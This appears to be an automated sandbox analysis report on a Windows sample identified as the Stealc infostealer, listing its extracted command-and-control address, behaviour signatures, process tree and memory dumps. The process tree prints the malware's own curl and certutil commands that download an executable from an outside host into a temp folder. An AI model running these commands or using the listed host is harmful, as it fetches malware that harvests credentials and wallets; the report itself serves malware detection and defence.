Analysis
- max time kernel
150s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
10/11/2026, 03:24
General
- Target Setup.exe
- Size 4.9MB
- Sample261110-dx571scf47
- SHA256 0311c3d5fa2bfb130b116344107cdb6ec1fd28775a51fd3f0effbac88a2e735d
Malware Config
Extracted
-
stealc
-
eu1
-
http://176.65.144.16
Signatures
- Family: Stealc
Stealc is an infostealer written in C++.
- Detects Stealc stealer Version 3 14 IoCs
- Downloads a file with CertUtil 1 TTPs 1 IoCs
CertUtil's URL cache options fetch arbitrary files from a web server, which can be used to retrieve further payloads.
- Executes dropped EXE 1 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in Program Files directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\t1newtest.exe"C:\Users\Admin\AppData\Local\Temp\t1newtest.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
-
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C:\Windows\SYSTEM32\curl.execurl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e599a230.exe" "https://cloudflare.gd/vlc_service.exe"2⤵
-
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C:\Windows\SYSTEM32\certutil.execertutil.exe -urlcache -split "https://cloudflare.gd/vlc_service.exe" "C:\Users\Admin\AppData\Local\Temp\0e599a230.exe"2⤵
- Downloads a file with CertUtil
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
t1newtest.exe
memory/2608-14-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-9-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-15-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-8-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-13-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-12-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-11-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-10-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-26-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-40-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-28-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-43-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-27-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-42-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-45-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-44-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-41-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-39-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-37-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-36-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-35-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-34-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-32-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-46-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-31-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-30-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-29-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-16-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-25-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-24-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-23-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-21-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-20-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-18-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-17-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-63-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/2608-64-0x00000000038E0000-0x000000000398E000-memory.dmp
memory/5748-53-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-58-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-55-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-54-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-62-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-60-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-57-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-56-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-59-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-51-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-50-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-49-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-48-0x0000000140000000-0x00000001400AF000-memory.dmp
memory/5748-47-0x0000000140000000-0x00000001400AF000-memory.dmp